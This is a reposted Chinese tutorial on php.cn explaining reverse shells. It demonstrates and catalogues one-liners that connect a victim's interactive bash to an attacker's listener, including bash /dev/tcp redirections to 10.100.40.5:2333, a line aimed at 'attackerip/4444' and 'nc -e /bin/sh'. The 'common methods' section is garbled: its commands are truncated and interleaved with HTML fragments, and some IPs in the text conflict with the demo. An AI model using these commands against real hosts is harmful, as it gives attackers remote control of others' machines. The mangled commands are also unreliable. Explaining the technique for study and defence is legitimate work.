首頁 >運維 >安全 >反彈shell是什麼意思

反彈shell是什麼意思

王林
王林轉載
2023-05-11 16:25:206837瀏覽

*嚴格聲明:本文僅限於技術討論與分享,嚴禁用於非法途徑。

0x00 前言

反彈shell,就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。

通俗點說,反彈shell就是一種反向鏈接,與正向的ssh等不同,它是在對方電腦執行命令連接到我方的攻擊模式,而這種攻擊模式必須搭配遠端執行指令漏洞來使用。

為什麼要反彈shell? 通常用來被指控端因防火牆受限、權限不足、連接埠被佔用等情形。

假設我們攻擊了一台機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器,這是比較常規的形式,我們叫做正向連接。遠端桌面,web服務,sshtelnet等等,都是正向連線。

那麼什麼情況下正向連線不太好用了呢:

1.某客戶機中了你的網馬,但是它在區域網路內,你直接連接不了。

2.它的ip會動態改變,你不能持續控制。

3.由於防火牆等限制,對方機器只能傳送請求,不能接收請求。

4.對於病毒,木馬,受害者什麼時候能中招,對方的網路環境是什麼樣的,什麼時候開關機,都是未知,所以建立一個服務端,讓惡意程式主動連接,才是上策。

那麼反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈shell

0x01 反彈shell演示

我們用bash遠端程式碼執行漏洞實例來了解一下他的原理

攻擊端:10.100. 40.5 受害機:192.168.197.136

首先我們需要在攻擊端去監聽端口,透過這個端口來接收受害機反彈的shell
#在攻擊端輸入指令nc -l 2333

反彈shell是什麼意思

然後在受害機執行指令

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

反彈shell是什麼意思

##我們就發現,在我們的攻擊端已經成功出現了我們的受害端的

shell#,在我們的攻擊端就能對受害端來進行下一步操作

反彈shell是什麼意思

例如:

反彈shell是什麼意思

0x02 原理

#2.1 反彈shell的命令原理

(1)

bash -i

bashlinux的一個比較常見的shell,是許多Linux發行版的預設Shell
-i這個參數的意思是產生互動的shell

(2)

./dev/tcp/ip/port
/dev/tcp|udp/ip/port這個檔案是特別特殊的,實際上可以將其看成一個裝置(Linux下一切皆檔案),其實如果你存取這個檔案的位置他是不存在的,如下圖:

反彈shell是什麼意思

#(3) 但是如果你在一方監聽連接埠的情況下對這個檔案進行讀寫,就能實現與監聽埠的伺服器的

socket通訊

我們輸出字元到

/dev/tcp這個檔案中

受害端:

反彈shell是什麼意思

攻擊端:

反彈shell是什麼意思

#(4) 下面我們在看將輸出轉移到受害端,在攻擊端繼續監聽

2333端口,並且在攻擊端輸入內容回車就會出現在受害端。

反彈shell是什麼意思

反彈shell是什麼意思

(5)這樣思路就比較清晰了,下面再說交互重定向:

為了實現交互,我們需要把受害者互動式

shell的輸出重新導向到攻擊機上;

在受害者機器上輸入:

bash -i > /dev/tcp 10.100.40.5/2333
然後我們發現無論輸入什麼指令都不會有回顯,回顯出現在了攻擊端標準輸出被定向到了攻擊端。

反彈shell是什麼意思

反彈shell是什麼意思

这样只是回显而已,并没有办法在攻击端直接执行命令。

(6)所以我们还需要将攻击者输入的指令输入给受害者的bash

bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="反彈shell是什麼意思"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="反彈shell是什麼意思"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

反彈shell是什麼意思

攻击端:

反彈shell是什麼意思

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

这样命令就不会回显到受害端了。

反彈shell是什麼意思

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

反彈shell是什麼意思

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&amp1;done
0/dev/tcp/attackerip/4444; sh &196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

以上是反彈shell是什麼意思的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除